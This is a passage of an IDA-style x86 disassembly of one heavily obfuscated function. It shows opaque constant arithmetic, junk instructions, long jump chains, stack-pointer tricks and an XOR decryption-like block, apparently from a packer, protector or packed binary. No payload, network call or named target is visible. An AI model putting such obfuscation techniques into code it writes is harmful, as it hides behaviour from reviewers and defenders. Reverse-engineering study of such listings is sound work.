		add	edx, ecx
		push	ebx
		mov	ebx, 0
		add	ebx, 17DD6D94h
		jmp	loc_59822B
; ---------------------------------------------------------------------------


loc_590714:				; CODE XREF: sub_58A891+BAC3j
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		sub	eax, ebx
		sub	eax, 4A97661Ah
		push	ecx
		mov	ecx, 24383DE5h
		push	ebx
		mov	ebx, 7A5C36CCh
		sub	eax, ebx
		pop	ebx
		sub	eax, 331B64B8h
		sub	eax, ecx
		add	eax, 331B64B8h
		push	1D10h
		mov	[esp+14h+var_14], ebp
		jmp	loc_598616
; ---------------------------------------------------------------------------


loc_590749:				; CODE XREF: sub_58A891+F00Dj
		inc	esi
		jz	loc_59AA9B
		push	ebx
		mov	ebx, 6F5261CCh
		xor	ebx, 46CB70E9h
		and	esi, ebx
		jmp	loc_594921
; ---------------------------------------------------------------------------


loc_590763:				; CODE XREF: sub_58A891+63DCj
		mov	ebp, [esp+18h+var_18]
		jmp	loc_59A58C
; ---------------------------------------------------------------------------


loc_59076B:				; CODE XREF: sub_58A891+7909j
		mov	ax, 134Fh
		jmp	loc_593417
; ---------------------------------------------------------------------------


loc_590774:				; CODE XREF: sub_58A891:loc_5977BEj
		shr	ch, 6
		push	dx
		mov	dl, 0B1h
		add	ch, dl
		pop	dx
		jmp	loc_598B0C
; ---------------------------------------------------------------------------


loc_590784:				; CODE XREF: sub_58A891+BCFEj
		add	ecx, 54636D4Dh
		jmp	loc_594D23
; ---------------------------------------------------------------------------


loc_59078F:				; CODE XREF: sub_58A891+10410j
		mov	[esp+18h+var_18], esi
		mov	esi, esp
		jmp	loc_590036
; ---------------------------------------------------------------------------


loc_590799:				; CODE XREF: sub_58A891+624Ej
		jmp	loc_5941D1
; ---------------------------------------------------------------------------


loc_59079E:				; CODE XREF: sub_58A891+7490j
					; sub_58A891:loc_5992EEj
		and	ebx, 4E0B36A7h
		xor	ebx, 46895116h
		jmp	loc_594968
; ---------------------------------------------------------------------------


loc_5907AF:				; CODE XREF: sub_58A891+62A5j
					; sub_58A891+791Bj
		push	1036h
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 267C3178h
		not	ecx
		not	ecx
		shr	ecx, 6
		jnz	loc_5945AE
		jmp	loc_5979DA
; ---------------------------------------------------------------------------
		sub	bl, dl
		pop	edx
		jmp	loc_59B3D6
; ---------------------------------------------------------------------------


loc_5907D6:				; CODE XREF: sub_58A891+4442j
		shl	ebp, 3
		jmp	loc_59B59F
; ---------------------------------------------------------------------------


loc_5907DE:				; CODE XREF: sub_58A891+72B6j
		xchg	ebp, [esp+0]
		pop	esp
		pop	[esp-8+arg_0]
		push	[esp-0Ch+arg_4]
		mov	eax, [esp-8+arg_0]
		add	esp, 4
		add	esp, 4
		jmp	loc_5986B8
; ---------------------------------------------------------------------------


loc_5907F6:				; CODE XREF: sub_58A891+6B43j
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		pop	eax
		sub	esp, 4
		mov	[esp+0], edx
		push	1B354D23h
		jmp	loc_594F3B
; ---------------------------------------------------------------------------


loc_590810:				; CODE XREF: sub_58A891+A93Bj
		push	edi
		jmp	loc_5991D6
; ---------------------------------------------------------------------------


loc_590816:				; CODE XREF: sub_58A891+B1FFj
		mov	[esp-8+arg_0], eax
		push	5B6877F7h
		jmp	loc_5922E0
; ---------------------------------------------------------------------------


loc_590823:				; CODE XREF: sub_58A891+4E58j
		mov	edx, [esp+44h+var_44]
		add	esp, 4
		push	eax
		mov	eax, 5591F9Ah
		sub	edx, eax
		jmp	loc_5909D3
; ---------------------------------------------------------------------------


loc_590836:				; CODE XREF: sub_58A891+4A43j
		xor	ebp, 3BFC4CB3h
		jmp	loc_59586D
; ---------------------------------------------------------------------------


loc_590841:				; CODE XREF: sub_58A891+75E1j
		dec	ebp
		jle	loc_5905E6
		add	ebp, 80008006h
		push	edi
		jmp	loc_58F407
; ---------------------------------------------------------------------------


loc_590854:				; CODE XREF: sub_58A891+4ED1j
		xor	ebx, 0DB05F5AFh
		sub	eax, ebx
		pop	ebx
		add	edi, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59630C
; ---------------------------------------------------------------------------


loc_59086D:				; CODE XREF: sub_58A891+63B4j
		sub	ebx, 744D56EAh
		add	ebx, edi
		add	ebx, 744D56EAh
		add	ebx, 5F40662Dh
		pop	edi
		push	edx
		jmp	loc_591911
; ---------------------------------------------------------------------------


loc_590888:				; CODE XREF: sub_58A891+A17Ej
		xor	esi, eax
		jmp	loc_597DA5
; ---------------------------------------------------------------------------


loc_59088F:				; CODE XREF: sub_58A891+6323j
		sub	al, bl
		pop	ebx
		jmp	loc_59B62F
; ---------------------------------------------------------------------------


loc_590897:				; CODE XREF: sub_58A891+FC81j
		sub	ecx, 28B51ED6h
		jmp	loc_592030
; ---------------------------------------------------------------------------


loc_5908A2:				; CODE XREF: sub_58A891+F14Dj
		add	esp, 4
		pop	[esp-8+arg_0]
		pop	esp
		jmp	loc_59A448
; ---------------------------------------------------------------------------


loc_5908B1:				; CODE XREF: sub_58A891+D63Aj
		xor	edx, 0DCB876D5h
		jmp	loc_5968E1
; ---------------------------------------------------------------------------


loc_5908BC:				; CODE XREF: sub_58A891+A019j
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		add	al, 0FCh
		sub	al, ch
		sub	al, 0FCh
		pop	ecx
		push	ecx
		mov	ch, 0AFh
		push	3944h
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 2
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ax
		push	edx
		mov	dh, 6Dh
		shr	dh, 7
		jnp	loc_58F166
		jmp	loc_59A266
; ---------------------------------------------------------------------------


loc_5908FE:				; DATA XREF: sub_58A891+3B7Fo
		mov	ax, word ptr [esp+8+var_8]
		push	50A0h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_59891E
; ---------------------------------------------------------------------------


loc_59090F:				; CODE XREF: sub_58A891+6454j
		mov	esi, 4
		sub	eax, 2B86445Ah
		add	eax, 0AF61077h
		jmp	loc_591DCE
; ---------------------------------------------------------------------------


loc_590923:				; CODE XREF: sub_58A891+DAEEj
		mov	edx, 4
		add	esi, edx
		jmp	loc_599BFC
; ---------------------------------------------------------------------------


loc_59092F:				; CODE XREF: sub_58A891+C1D8j
		add	esp, 4
		or	[edi+1Ch], esi
		pop	esi
		jmp	loc_58F77B
; ---------------------------------------------------------------------------


loc_59093E:				; CODE XREF: sub_58A891+AD4Ej
		sub	eax, 61A3327Fh
		shr	eax, 6
		and	eax, 650F7CCEh
		add	eax, 28E2BE77h
		xor	esi, eax
		pop	eax
		mov	ecx, esi
		pop	esi
		shr	ecx, 3
		not	ecx
		shl	ecx, 6
		or	ecx, 20F65233h
		sub	ecx, 0CB8CE2CDh
		xor	edx, ecx
		pop	ecx
		add	edi, edx
		pop	edx
		push	eax
		jmp	loc_59659C
; ---------------------------------------------------------------------------


loc_590976:				; CODE XREF: sub_58A891+F8ADj
		xchg	eax, edx
		neg	edx
		xchg	eax, edx
		jmp	loc_592213
; ---------------------------------------------------------------------------


loc_59097F:				; CODE XREF: sub_58A891+FABCj
		mov	edi, esp
		push	ebp
		jmp	loc_59A68F
; ---------------------------------------------------------------------------


loc_590987:				; CODE XREF: sub_58A891+C9EEj
		inc	edx
		push	edx
		not	dword ptr [esp+0]
		pop	edx
		jmp	loc_58F59B
; ---------------------------------------------------------------------------


loc_590992:				; CODE XREF: sub_58A891+64C9j
		sub	esp, 4
		jmp	loc_59532A
; ---------------------------------------------------------------------------


loc_59099D:				; CODE XREF: sub_58A891+AE08j
		mov	[esp+0], eax
		push	edi
		mov	edi, 7BF23BAh
		push	ebp
		mov	ebp, 7C3A3C83h
		inc	ebp
		sub	ebp, 0DD24CC0h
		xor	ebp, 0E962BE3h
		add	ebp, 348F177Dh
		add	ebp, 91132D10h
		sub	edi, ebp
		pop	ebp
		and	edi, 550A0785h
		jmp	loc_591414
; ---------------------------------------------------------------------------


loc_5909D3:				; CODE XREF: sub_58A891+5FA0j
		pop	eax
		or	ecx, ecx
		jz	loc_597891
		push	esp
		push	[esp+44h+var_44]
		push	[esp+48h+var_48]
		jmp	loc_599E10
; ---------------------------------------------------------------------------


loc_5909E8:				; CODE XREF: sub_58A891+5A59j
		mov	ebx, 0AAB9CADCh
		jmp	loc_5957F5
; ---------------------------------------------------------------------------


loc_5909F2:				; CODE XREF: sub_58A891+C3FAj
		mov	eax, 1B5174AFh
		add	eax, 2540919Fh
		add	ebp, 6AFF38B6h
		sub	ebp, eax
		jmp	loc_599C85
; ---------------------------------------------------------------------------


loc_590A09:				; CODE XREF: sub_58A891+8FCBj
		push	ebp
		mov	ebp, esp
		jmp	loc_5948BB
; ---------------------------------------------------------------------------


loc_590A11:				; CODE XREF: sub_58A891+9DBAj
		push	ax
		not	byte ptr [esp+22h+var_24+2]
		jmp	loc_598FED
; ---------------------------------------------------------------------------


loc_590A1B:				; CODE XREF: sub_58A891:loc_58FB8Cj
		and	edx, 18380F55h
		add	edx, 3675426Bh
		jmp	loc_5910E9
; ---------------------------------------------------------------------------


loc_590A2C:				; CODE XREF: sub_58A891+107D8j
		jmp	loc_59410D
; ---------------------------------------------------------------------------


loc_590A31:				; CODE XREF: sub_58A891+ED64j
		pop	ebp
		xor	ebx, 0B271C80h
		neg	ebx
		jmp	loc_59291F
; ---------------------------------------------------------------------------


loc_590A3F:				; CODE XREF: sub_58A891+D1B8j
		or	ch, 31h
		shr	ch, 6
		jmp	loc_58FD51
; ---------------------------------------------------------------------------


loc_590A4A:				; CODE XREF: sub_58A891+1138Dj
		push	edi
		mov	edi, 2F285052h
		add	ecx, edi
		pop	edi
		push	eax
		push	7D80h
		mov	[esp+44h+var_44], ecx
		jmp	loc_596FF7
; ---------------------------------------------------------------------------


loc_590A61:				; CODE XREF: sub_58A891+11254j
		mov	word ptr [esp+44h+var_44], bx
		push	small 7C12h
		mov	word ptr [esp+46h+var_48+2], dx
		mov	dh, 0BDh
		mov	bl, dh
		pop	dx
		sub	al, 0D4h
		sub	al, bl
		add	al, 0D4h
		pop	bx
		jmp	loc_591A08
; ---------------------------------------------------------------------------


loc_590A80:				; CODE XREF: sub_58A891+412Bj
		mov	dl, ch
		mov	bl, dl
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_58F819
; ---------------------------------------------------------------------------


loc_590A8C:				; CODE XREF: sub_58A891+B3DAj
		push	2C3B1BDAh
		pop	esi
		jmp	loc_58F299
; ---------------------------------------------------------------------------


loc_590A97:				; CODE XREF: sub_58A891+5202j
					; sub_58A891+EF4Cj
		mov	esi, 395849DCh
		add	esi, 6DC41A32h
		sub	esi, 4744096Ch
		jmp	loc_591577
; ---------------------------------------------------------------------------


loc_590AAD:				; CODE XREF: sub_58A891+7328j
		mov	eax, ebp
		pop	ebp
		jmp	loc_5927D4
; ---------------------------------------------------------------------------


loc_590AB5:				; CODE XREF: sub_58A891+F535j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+14h+var_14]
		xor	[esp+14h+var_14], edi
		jmp	loc_58E6A1
; ---------------------------------------------------------------------------


loc_590ACF:				; CODE XREF: sub_58A891:loc_59BA77j
		and	eax, 6AD3323Dh
		sub	eax, 0B3E70C06h
		jmp	loc_594AC2
; ---------------------------------------------------------------------------


loc_590ADE:				; CODE XREF: sub_58A891+10D8Aj
		inc	esi
		jnz	loc_590799
		jmp	loc_5994E6
; ---------------------------------------------------------------------------
		and	ebx, 4E0B36A7h
		mov	eax, esi


loc_590AF2:				; CODE XREF: sub_58A891+DA2Bj
		mov	ebp, [esp+14h+var_14]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59568F
; ---------------------------------------------------------------------------


loc_590B09:				; CODE XREF: sub_58A891+6CD8j
		neg	ebx
		xor	ebx, 14F66CB1h
		inc	ebx
		sub	ebx, 0EAB93B3Dh
		jmp	loc_595CF0
; ---------------------------------------------------------------------------


loc_590B1D:				; CODE XREF: sub_58A891+10697j
		not	edx
		jmp	loc_5934D5
; ---------------------------------------------------------------------------


loc_590B24:				; CODE XREF: sub_58A891+F03Bj
					; sub_58A891+1063Dj
		pop	edx
		jmp	loc_599FB0
; ---------------------------------------------------------------------------


loc_590B2A:				; CODE XREF: sub_58A891+D62Aj
		jo	loc_592CF9
		jmp	loc_594061
; ---------------------------------------------------------------------------


loc_590B35:				; DATA XREF: sub_58A891+3B2Fo
		push	edx
		jmp	loc_5907AF
; ---------------------------------------------------------------------------


loc_590B3B:				; CODE XREF: sub_58A891+A204j
		inc	edi
		add	edi, 8C235DADh
		xor	ebp, edi
		pop	edi
		add	ecx, ebp
		push	[esp+8+var_8]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_596C31
; ---------------------------------------------------------------------------


loc_590B69:				; CODE XREF: sub_58A891+F6D3j
		push	4D3D0A23h
		pop	ebp
		neg	ebp
		jnp	loc_5990BE
		add	ebp, 7EFD3166h
		jmp	loc_59209E
; ---------------------------------------------------------------------------


loc_590B82:				; CODE XREF: sub_58A891+807Cj
		push	ebx
		mov	bh, 27h
		and	bh, 0D2h
		push	ecx
		mov	cl, 0E3h
		xor	cl, 1Ch
		jmp	loc_592A85
; ---------------------------------------------------------------------------


loc_590B93:				; CODE XREF: sub_58A891+D815j
					; sub_58A891+DB76j
		add	eax, 3AA314E5h
		sub	eax, ecx
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		jmp	loc_594298
; ---------------------------------------------------------------------------


loc_590BA8:				; CODE XREF: sub_58A891+8E93j
		sub	dh, 25h
		pop	bx
		add	al, 97h
		add	al, dh
		push	ebx
		mov	bl, 97h
		jmp	loc_59088F
; ---------------------------------------------------------------------------


loc_590BB9:				; CODE XREF: sub_58A891+67E9j
		push	ebp
		push	edi
		jmp	loc_599CA7
; ---------------------------------------------------------------------------


loc_590BC0:				; CODE XREF: sub_58A891+E2B3j
		mov	[esp+1Eh+var_20+2], ecx
		mov	ecx, 3FEC5968h
		add	ecx, 0F06A2094h
		and	eax, ecx
		jmp	loc_594ECA
; ---------------------------------------------------------------------------


loc_590BD5:				; CODE XREF: sub_58A891+DDAEj
		push	ecx
		mov	cl, 66h
		not	cl
		jmp	loc_5978FF
; ---------------------------------------------------------------------------


loc_590BDF:				; CODE XREF: sub_58A891+D5C6j
		add	esi, edx
		mov	edx, [esp+22h+var_24+2]
		add	esp, 4
		xchg	esi, [esp+1Eh+var_20+2]
		pop	esp
		xor	word ptr [esp+1Ah+var_1C+2], cx
		xor	cx, word ptr [esp+1Ah+var_1C+2]
		xor	word ptr [esp+1Ah+var_1C+2], cx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_590BFF:				; CODE XREF: sub_58A891+9A50j
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp+1Eh+var_20+2]
		add	esp, 4
		xchg	ebx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_590C1C:				; CODE XREF: sub_58A891+F459j
		push	ebx
		mov	bl, 41h
		jmp	loc_596D3D
; ---------------------------------------------------------------------------


loc_590C24:				; CODE XREF: sub_58A891+8498j
		pop	edx
		not	edx
		jmp	loc_599B42
; ---------------------------------------------------------------------------


loc_590C2C:				; CODE XREF: sub_58A891+6E12j
		sub	edi, edx
		pop	edx
		add	edi, eax
		add	edi, 7798721Dh
		pop	eax
		push	edi
		jmp	loc_595B61
; ---------------------------------------------------------------------------


loc_590C3E:				; CODE XREF: sub_58A891+4B93j
		pop	ecx
		sub	ebx, 5F40662Dh
		jmp	loc_59086D
; ---------------------------------------------------------------------------


loc_590C4A:				; CODE XREF: sub_58A891+69DBj
		add	edx, 0ED328D5h
		sub	esp, 4
		mov	[esp+48h+var_48], ebx
		mov	ebx, 41DE251Bh
		add	edx, 4B506369h
		add	edx, ebx
		sub	edx, 4B506369h
		pop	ebx
		jmp	loc_590763
; ---------------------------------------------------------------------------


loc_590C72:				; CODE XREF: sub_58A891+D541j
		shr	edx, 3
		sub	edx, 0FF58EE4Ah
		mov	ebx, edx
		pop	edx
		push	0BD7h
		jmp	loc_592CD7
; ---------------------------------------------------------------------------


loc_590C88:				; CODE XREF: sub_58A891+BC6Bj
		add	ebp, 4
		xor	ebp, [esp+44h+var_44]
		xor	[esp+44h+var_44], ebp
		xor	ebp, [esp+44h+var_44]
		jmp	loc_5965C9
; ---------------------------------------------------------------------------


loc_590C9C:				; CODE XREF: sub_58A891+8130j
		mov	[esp+44h+var_44], edi
		push	390D3C37h
		pop	edi
		push	eax
		mov	eax, 0A4E7E8Dh
		not	eax
		neg	eax
		jmp	loc_592EF6
; ---------------------------------------------------------------------------


loc_590CB4:				; CODE XREF: sub_58A891+AAEAj
		xchg	ebx, [esp+48h+var_48]
		mov	esp, [esp+48h+var_48]
		jmp	loc_592B66
; ---------------------------------------------------------------------------


loc_590CBF:				; CODE XREF: sub_58A891+4090j
		jnz	loc_596F8B
		xor	bl, 19h
		jmp	loc_58ED6F
; ---------------------------------------------------------------------------
		pop	esp
		mov	al, 0DDh


loc_590CD0:				; CODE XREF: sub_58A891+F2E9j
		mov	ebx, edi
		mov	edi, [esp+0]
		push	7E69h
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_59090F
; ---------------------------------------------------------------------------


loc_590CEA:				; CODE XREF: sub_58A891+C37Dj
		mov	[esp+8+var_8], ecx
		jmp	loc_58FFE0
; ---------------------------------------------------------------------------


loc_590CF2:				; CODE XREF: sub_58A891+CF90j
		sub	ebx, 0DFB2E372h
		mov	esi, ebx
		jmp	loc_596556
; ---------------------------------------------------------------------------


loc_590CFF:				; DATA XREF: sub_58A891+3B93o
		lodsd
		jmp	loc_596347
; ---------------------------------------------------------------------------


loc_590D05:				; CODE XREF: sub_58A891+E174j
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, 4
		sub	ebp, 1B3B5BE6h
		add	ebp, esi
		add	ebp, 1B3B5BE6h
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+0Ch+var_8]
		push	[esp+10h+var_10]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+14h+var_14]
		pop	esp
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_590D54:				; CODE XREF: sub_58A891+6A8Ej
		pop	edx
		sub	al, ch
		pop	ecx
		sub	al, 3Bh
		jmp	loc_590992
; ---------------------------------------------------------------------------


loc_590D5F:				; CODE XREF: sub_58A891+4F5Ej
		not	eax
		sub	eax, 0CF770677h
		jmp	loc_594688
; ---------------------------------------------------------------------------


loc_590D6B:				; CODE XREF: sub_58A891+9F9Ej
		push	ecx
		jmp	loc_5994E6
; ---------------------------------------------------------------------------


loc_590D71:				; CODE XREF: sub_58A891+81FDj
					; sub_58A891+96F9j
		push	esi
		mov	esi, 2B0D1A10h
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+18h+var_18], esi
		jmp	loc_595F08
; ---------------------------------------------------------------------------


loc_590D85:				; CODE XREF: sub_58A891+94DDj
		pop	edi
		add	ebp, 0BF94B695h
		add	ecx, ebp
		push	[esp+14h+var_14]
		pop	ebp
		add	esp, 4
		add	edi, ecx
		jmp	loc_598A1E
; ---------------------------------------------------------------------------


loc_590D9F:				; CODE XREF: sub_58A891+935Aj
		push	edx
		mov	dh, ch
		mov	bl, dh
		pop	edx
		mov	ecx, [esp+10h+var_10]
		jmp	loc_5946F1
; ---------------------------------------------------------------------------


loc_590DAD:				; CODE XREF: sub_58A891+405Bj
		not	edx
		neg	edx
		push	eax
		push	edi
		mov	edi, 56BC059Dh
		jmp	loc_59A45F
; ---------------------------------------------------------------------------


loc_590DBD:				; CODE XREF: sub_58A891+CD7Dj
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		jmp	loc_592F47
; ---------------------------------------------------------------------------


loc_590DC8:				; CODE XREF: sub_58A891+975Cj
		mov	[esp+14h+var_14], eax
		xor	[esp+14h+var_14], ecx
		xor	ecx, [esp+14h+var_14]
		xor	[esp+14h+var_14], ecx
		not	ecx
		xor	[esp+14h+var_14], ecx
		xor	ecx, [esp+14h+var_14]
		xor	[esp+14h+var_14], ecx
		jmp	loc_58FBEC
; ---------------------------------------------------------------------------


loc_590DE4:				; CODE XREF: sub_58A891+EE20j
		push	[esp+14h+var_10]
		jmp	loc_594640
; ---------------------------------------------------------------------------


loc_590DED:				; CODE XREF: sub_58A891+D4CAj
		sub	ebx, ebp
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		sub	esi, ebx
		jmp	loc_593420
; ---------------------------------------------------------------------------


loc_590DFC:				; CODE XREF: sub_58A891+E036j
		add	edx, ecx
		pop	ecx
		add	edx, 1
		sub	edx, 65BA1B7h
		add	ecx, edx
		pop	edx
		jmp	loc_5938C0
; ---------------------------------------------------------------------------


loc_590E10:				; CODE XREF: sub_58A891+C982j
					; sub_58A891:loc_59B1F4j
		mov	ebx, 24h
		add	ebx, 624F311Bh
		push	edi
		mov	edi, 7E5721F1h
		add	ebx, 5DE124BBh
		add	ebx, edi
		sub	ebx, 5DE124BBh
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		add	ebx, edi
		sub	ebx, 7E5721F1h
		sub	ebx, 624F311Bh
		xor	eax, [ebx]
		pop	ebx
		push	edx
		mov	edx, 24h
		add	edx, edi
		xor	[edx], eax
		pop	edx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_595510
; ---------------------------------------------------------------------------


loc_590E5F:				; CODE XREF: sub_58A891+E993j
		sub	eax, 4
		push	eax
		push	[esp+0Ch+var_8]
		pop	eax
		pop	[esp+0Ch+var_C]
		pop	esp
		mov	[esp+4+var_4], eax
		mov	eax, esp
		jmp	loc_591C31
; ---------------------------------------------------------------------------


loc_590E76:				; CODE XREF: sub_58A891+8319j
		or	edi, edx
		pop	edx
		jmp	loc_596F99
; ---------------------------------------------------------------------------


loc_590E7E:				; CODE XREF: sub_58A891+6F7Ej
		push	6A82h
		jmp	loc_59123C
; ---------------------------------------------------------------------------


loc_590E88:				; CODE XREF: sub_58A891+10A7Dj
		add	esp, 4
		sub	eax, 338740E0h
		and	ecx, eax
		pop	eax
		shr	ecx, 6
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, esp
		jmp	loc_597382
; ---------------------------------------------------------------------------


loc_590EA6:				; CODE XREF: sub_58A891+8FE6j
		jge	loc_58EFDB
		sub	edx, 4FFF77FEh
		mov	eax, edx
		pop	edx
		jmp	loc_591D91
; ---------------------------------------------------------------------------
		pop	eax


loc_590EBB:				; CODE XREF: sub_58A891+DCF0j
		mov	ebx, [esp-8+arg_0]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_58F9E5
; ---------------------------------------------------------------------------


loc_590EC9:				; CODE XREF: sub_58A891+AF67j
		push	eax
		push	5C360556h
		pop	eax
		and	ecx, eax
		pop	eax
		push	edx
		jmp	loc_5978B8
; ---------------------------------------------------------------------------


loc_590ED9:				; CODE XREF: sub_58A891+CE1Cj
		and	ebp, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		add	ebp, 5BE86262h
		jmp	loc_58E5BB
; ---------------------------------------------------------------------------


loc_590EEF:				; CODE XREF: sub_58A891+1058Fj
		sub	eax, 54657F79h
		push	[esp-8+arg_0]
		pop	esi
		add	esp, 4
		or	eax, eax
		jnz	loc_592B29
		push	eax
		push	esi
		push	edx
		mov	edx, 43615393h
		shl	edx, 8
		add	edx, 0B725C6CCh
		mov	esi, edx
		jmp	loc_59A139
; ---------------------------------------------------------------------------


loc_590F1E:				; CODE XREF: sub_58A891+CC09j
		sub	esi, 0DE3D22h
		and	ecx, esi
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		shr	ecx, 7
		push	13CFh
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 135815ADh
		jmp	loc_591DFE
; ---------------------------------------------------------------------------


loc_590F59:				; CODE XREF: sub_58A891+8A2Bj
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], eax
		push	52E5h
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		jmp	loc_597353
; ---------------------------------------------------------------------------


loc_590F73:				; CODE XREF: sub_58A891+75F5j
		mov	edi, ebp
		jmp	loc_5904BA
; ---------------------------------------------------------------------------


loc_590F7A:				; CODE XREF: sub_58A891+AE52j
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_595820
; ---------------------------------------------------------------------------


loc_590F87:				; DATA XREF: sub_58A891+3C07o
		mov	ax, word ptr [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_599719
; ---------------------------------------------------------------------------


loc_590F99:				; CODE XREF: sub_58A891+ACA2j
		add	al, bl
		pop	ebx
		push	[esp+8+var_8]
		pop	ebx
		push	4D92h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		push	ecx
		push	eax
		mov	ah, 0F9h
		mov	ch, ah
		jmp	loc_58EA2B
; ---------------------------------------------------------------------------


loc_590FC5:				; CODE XREF: sub_58A891+7D7Bj
		mov	[esp+10h+var_10], ecx
		add	[esp+10h+var_10], 1
		pop	ecx
		sub	ecx, 0D3C6F0B3h
		jmp	loc_59B1EB
; ---------------------------------------------------------------------------


loc_590FD8:				; CODE XREF: sub_58A891+8A20j
		sub	ebx, 40272ADh
		or	ebx, 47B23A57h
		sub	ebx, 1BE249A4h
		push	ecx
		mov	ecx, 6C1D45C9h
		xor	ebx, ecx
		pop	ecx
		add	ebx, 8E38561Fh
		add	esi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	eax, esi
		mov	esi, [esp+8+var_8]
		push	ebp
		jmp	loc_59BBDF
; ---------------------------------------------------------------------------


loc_59100F:				; CODE XREF: sub_58A891+96E6j
		mov	eax, 449F2A90h
		dec	eax
		or	eax, 395C3250h
		jmp	loc_59138B
; ---------------------------------------------------------------------------


loc_59101F:				; CODE XREF: sub_58A891+5CE8j
		pop	ebx
		jmp	loc_5968EC
; ---------------------------------------------------------------------------


loc_591025:				; CODE XREF: sub_58A891+9D61j
		mov	esp, [esp+38h+var_38]
		pop	[esp+38h+var_38]
		mov	esp, [esp+34h+var_34]
		mov	cx, word ptr [esp+34h+var_34]
		jmp	loc_594458
; ---------------------------------------------------------------------------


loc_591037:				; CODE XREF: sub_58A891+488Dj
		sub	esp, 2
		mov	word ptr [esp+30h+var_30], dx
		mov	dh, 2Fh
		sub	bl, 0A8h
		add	bl, dh
		add	bl, 0A8h
		pop	dx
		add	bl, al
		sub	esp, 4
		jmp	loc_598FF5
; ---------------------------------------------------------------------------


loc_591057:				; CODE XREF: sub_58A891+FF6Ej
		add	esi, edi
		push	ecx
		jmp	loc_58FB19
; ---------------------------------------------------------------------------


loc_59105F:				; CODE XREF: sub_58A891+DE42j
		xchg	ebp, ecx
		jmp	loc_58F944
; ---------------------------------------------------------------------------


loc_591066:				; CODE XREF: sub_58A891+5CBCj
		push	edi
		push	esp
		jmp	loc_59AAF2
; ---------------------------------------------------------------------------


loc_59106D:				; CODE XREF: sub_58A891+9E9Ej
		pop	ebp
		jmp	loc_597D1C
; ---------------------------------------------------------------------------


loc_591073:				; CODE XREF: sub_58A891+ADBEj
		pop	esp
		add	ebx, 4
		jmp	loc_590BB9
; ---------------------------------------------------------------------------


loc_59107F:				; CODE XREF: sub_58A891+E818j
		xor	ecx, 6C5B0F4Ah
		add	ebx, 5532ECDh
		sub	ebx, ecx
		jmp	loc_59A038
; ---------------------------------------------------------------------------


loc_591092:				; CODE XREF: sub_58A891+7F84j
		push	edi
		push	eax
		jmp	loc_599476
; ---------------------------------------------------------------------------


loc_591099:				; CODE XREF: sub_58A891+CF7Bj
		pop	edx
		add	ebx, 1B6019BCh
		mov	ebp, ebx
		mov	ebx, [esp+50h+var_50]
		jmp	loc_59A860
; ---------------------------------------------------------------------------


loc_5910AA:				; CODE XREF: sub_58A891+51CDj
		jnz	loc_59A90E
		inc	eax
		jmp	loc_599D85
; ---------------------------------------------------------------------------
		xchg	ebp, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		shl	eax, cl
		pop	eax


loc_5910BF:				; CODE XREF: sub_58A891+D1E4j
		add	ebx, eax
		push	edi
		jmp	loc_5970F3
; ---------------------------------------------------------------------------


loc_5910C7:				; CODE XREF: sub_58A891+5AF8j
					; sub_58A891+A1C8j ...
		sub	edx, 1F24C8E4h
		push	ecx
		jmp	loc_591F68
; ---------------------------------------------------------------------------


loc_5910D3:				; CODE XREF: sub_58A891+A39Aj
		pop	ebp
		jmp	loc_59287C
; ---------------------------------------------------------------------------


loc_5910D9:				; CODE XREF: sub_58A891+41F3j
		pop	eax
		sub	edx, eax
		push	ebx
		jmp	loc_59BC32
; ---------------------------------------------------------------------------


loc_5910E2:				; CODE XREF: sub_58A891:loc_593DD5j
		neg	ebp
